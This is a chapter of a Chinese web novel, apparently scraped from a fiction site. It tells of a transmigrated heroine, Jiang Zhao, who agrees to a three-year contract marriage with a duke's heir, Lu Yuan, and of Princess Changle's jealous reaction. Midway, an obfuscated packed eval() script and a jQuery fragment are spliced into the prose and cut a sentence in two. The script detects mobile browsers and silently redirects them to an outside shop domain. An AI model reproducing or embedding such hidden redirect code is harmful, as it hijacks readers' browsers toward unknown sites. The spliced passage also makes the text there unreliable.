“嘭——”
一声巨响,茶室的木门被人猛地推开。
陆渊闻声抬眼望向门口,看清来人后一愣:
逆光之中,方才已经离去的姜昭竟又折了回来。
屋子里此刻只剩他一人,方才还在的玄衣少年,早已不见半分踪迹。
姜昭目光快速扫过整间茶室,确认屋内再无旁人,这才转头开口吩咐:
“春桃、夏禾,你们二人退到门外守着,我同陆世子还有几句话要谈。”
夏禾神色微动,还想开口说些什么,春桃却悄悄扯了扯她的衣角,拦住了她余下的话。
二人齐声应下,退至门外,将门轻轻合上。
不等对面男人率先开口,姜昭已径直走到他的对面落座,抬手自顾自斟了一杯茶。
“姜姑娘,莫不是回心转意了?”
陆渊望着她这番举动,眉梢微微一挑,语调带着几分漫不经心的轻佻。
出乎他意料的是,姜昭并未被这番言语触恼。
相反,她抬起眼眸,目光定定落在他身上,一眨不眨。
陆渊从未被女子用这样直白的眼神注视过,
一直以来,他都是高高在上的镇国公世子,底下的奴才很少有人敢直视他的眼睛,
而旁的世家贵女望向他时,也多是含羞带怯,稍稍对上目光,便会慌忙垂眼移开。
对上姜昭那双黑白分明的眼睛,陆渊忽然之间觉得自己哪哪儿都不自在,他别开视线,将拳抵在唇畔轻咳一声:
“你盯着爷做什么?”他嗓音干涩发闷,话音刚落,便端起茶杯,接连灌下好几口茶水。
看到陆渊这一连串的操作,
姜昭脑中蓦然闪过前世网上看到过的一句调侃:
不论是什么动物,陷入尴尬的时候,总要装出一副十分忙碌的模样。
她勾起嘴角,忽然觉得心情愉悦了不少。
“我只是在想,世子爷的话,还作不作数。”她眨了眨眼睛,笑着问道。
“哼,现在知道后悔了?”陆渊闻言立即板起脸,似是找回了场子。
姜昭也不恼:
“是啊,我从出门那刻起就后悔了。
世子爷倾国倾城,如果能嫁给您,是小女子占了大便宜。”
似是没有料到她居然会说的如此直白,陆渊口中的茶水差点呛住。
他闷咳两声,耳根脸颊一齐泛红,慌忙垂眼避开姜昭的目光,强装端肃,斥道:
“姑娘家家的,如此大胆,这成何体统。”
姜昭瞧他这副窘迫又强装端肃的模样,只觉新奇。听他这般说教,微微撇了撇嘴,心底暗自腹诽:
古人真封建。
不过她也没有忘记自己的正事,回道:
“世子,如今我应下这门亲事,那往后我们便是荣辱与共。
世子爷是不是也该对我更加坦诚一些?”
陆渊一口气还没缓过来,又听见姜昭这番话,他无奈点头:
“你有什么要问的。”
姜昭道:
“世子爷,我想知道,您为何要同我成亲。”
陆渊早就料到姜昭会这么问,于是又将方才同幼帝的那番话重新说了一遍。
姜昭凝神细听,脑中飞速梳理,片刻便已辨明其中利害。
她若有所思地点头,忽然轻笑道:
“原来,你是真的不喜周长乐。”
陆渊嘴角抽了抽:爷之前就和你说过了好吗?是你自己不相信。
“不过,你还是没有回答我的问题。”姜昭歪了歪脑袋,看着陆渊。
“为什么是我?京都之内,这么多的低阶官吏之女,
为什么你偏偏就选中了我?”
她的眼神清亮,陆渊甚至能在里面看见自己的倒影。
陆渊喉头滚动,别开姜昭直白的目光,站起身背过手,望向窗外:
“哪有那么多为什么?
爷瞧你顺眼,恰好又救过你。
当初可是你自己口口声声说的救命之恩无以为报。
如今爷遇上棘手的麻烦,自然得找你。”
他说这话时背对着姜昭,看不清神情。
姜昭听到这个回答,不知为何,心底划过一丝失落。
她很快压下心头的异样,顺着陆渊的话说道:
“这是自然,您的救命之恩,姜昭没齿难忘。
但是,小女子有个不情之请,还望世子能同意。”
陆渊转过身,开口道:
“有什么话,都可直讲。”
姜昭心一横,从位子上起身,对陆渊行礼:
“世子爷,小女子希望能与您定一个三年之约,
三年之中,我嫁与您做妻子,等到长乐郡主另寻他人成亲时,恳请世子休妻另娶。”
陆渊沉默不语,并未应声。
姜昭生怕他不肯应允,急忙补充道:
“世子如今尚且没有心悦之人,若是由我占着镇国公府世子妃的位置,倘若往后您遇上真心喜欢的女子,反倒徒增牵绊,得不偿失。
我这也是为世子考量。”
陆渊还是没有说话。
她正欲再开口劝说,陆渊却忽然出声,语气平静:
“好,就照你说的做。”
姜昭万万没料到他会答应得如此干脆,愣了愣,躬身垂首道了谢。
“不过,你怎么能保证,三年内周长乐就能嫁出去呢?”
陆渊问道。
姜昭心中暗暗回答:因为,三年内,我定然要查明前世的真相,早早斩断因果!
而她嘴上却说道:
“若是三年不成,那便五年,总之,等长乐郡主安稳嫁人后,您再同我和离。”
陆渊闻言若有所思地点点头,不再言语。
半晌,像是想到了什么,他从怀里掏出一个盒子,递给姜昭:
“这个东西,你拿着。”
“这是什么?”
姜昭伸手接过,怀着几分好奇打开锦盒。
盒中铺着柔软丝缎,一只羊脂玉镯静静卧在其中,通体莹白温润,光泽剔透。
她指尖轻捏,将玉镯拿起,只一眼便知这是价值不菲的珍品,随即小心放回盒中,把盒子推回给陆渊:
“陆世子,这东西太贵重了,我不能收。”
陆渊并不伸手去接,他抬眼凝望着姜昭,语气淡然道:
“不过是库房里不起眼的小物件罢了,你既然已答应了亲事,这镯子算是爷赏你的。
免得腕上空空,倒叫外人以为我堂堂国公府养不起一个女人。”
他语气自然,神色坦荡,没有半分不自然。
似是在说一件理所当然的事情。
他上前半步,从木盒子里拿起绸布包裹的玉镯,
伸手握住姜昭的手腕。
锦绸衬着肌肤,玉镯顺着腕骨,便稳稳套了上去。一派操作,行云流水。
姜昭愕然看着握住自己腕间的陆渊,不知道他为什么突然搞这么一出。
“好了,它是你的了。”陆渊挑眉笑道。
她还想再说些什么,却听门外传来“叩叩叩”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796983|206608||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
几声敲门声,
夏禾的声音从屋外传来:
“姑娘,时候不早了,再不回府,夫人怕是要着急了。”
她话里带着催促。
姜昭不再推辞,举起手腕冲着陆渊笑道:
“镯子我收下了,世子爷什么时候遇到心仪的姑娘,我再还给你。”
陆渊不耐烦地点了点头,将姜昭送到街道的马车上。
他将人扶上车后,盯着姜昭的眼睛,叮嘱道:
“过些日子,等我将手头上的事情安置下来,我便上门去提亲。
这些天,若是姜家有人为难你,你大可直接差人来国公府,门房都已经安排下去了,有什么消息,第一时间便会送到我的手上。”
姜昭点点头,合上帘子缩回车内,马车启动,渐行渐远。
春桃悄悄掀起车帘一角伸长脑袋像后看去,兴奋地冲姜昭说道:
“姑娘,陆世子还在后头看着您呢!”
姜昭朝她指的方向看去,只见陆渊还站在远处,见她探出头来,却又别扭的装作往回走的样子。
姜昭垂下眼眸,伸手抚摸着左腕上的羊脂玉镯,温润的触感自指尖漫开,在她心底泛起一丝涟漪:
这是她两世以来,第一次和这个世界的土著建立联系,这种感觉,很奇妙。
马车渐行渐远,路旁一处小巷内,一名小厮装扮的人将两人的一举一动尽收眼底,匆匆忙忙跑回去汇报。
长乐郡主府中。
寝殿之内,噼里啪啦的瓷器碎裂声响不断炸开。
几名贴身丫鬟垂手立在一旁,个个噤若寒蝉,大气都不敢出。
周长乐已是怒极,疯一般抬手,将案上陈设的杯盏瓷瓶尽数扫落在地,脆响不绝,仿佛要把满腔愤懑尽数宣泄出来。
她猛地俯身,一把攥住跪在地上前来报信丫鬟的双肩,指节死死扣进对方衣料,声色尖利地质问:
“你再说一遍!方才陆渊哥哥,是同谁待在一处!”
那丫鬟被她揪得浑身发颤,吓得几乎失语,牙齿不住打颤,磕磕绊绊地回话:
“府、府里派出去的小厮回禀,说是看见世子爷,与一位姑娘举止亲昵,二人在茶楼之中,整整待了一整个上午。”
周长乐松开攥着丫鬟肩头的手,重重吸了一口气,强压下翻涌的怒火,沉声问道:
“那贱人是谁?查清楚了吗?”
婢女垂着头,缓住心神,身子微微瑟缩,嗫嚅着回话:
“派出去的小厮说,那人进了户部郎中姜德文大人的府邸,许是,许是姜家的姑娘?”
“姜家?”
周长乐神色骤然一僵,像是猛然记起一桩要紧事,
她全然顾不上眼前一团狼藉,当即转头厉声吩咐身侧侍女:
“流火,速将前几日宫内探子递来的秘报取来!快去!”
唤作流火的婢女连忙应声,脚步匆匆奔至妆台前,掀开案上的红漆木匣,从中翻出一封已经拆封的信笺。
周长乐伸手一把将信封夺过,指尖慌乱地拆开,从头至尾又将秘报匆匆通读一遍。
捏着信纸的手掌止不住剧烈发抖,她死死攥紧,却依旧压不住满身战栗。
对上了,又对上了。
又是这个姜家。
她五指骤然收紧,掌心的信纸被死死攥揉,边角褶皱遍布,字迹被揉得模糊一团。
身前铜镜光洁透亮,清晰映出她的模样:
此刻,名满京都的长乐郡主,眉眼彻底覆上沉沉阴翳,面色可怖,全然没了往日娇贵的半分模样。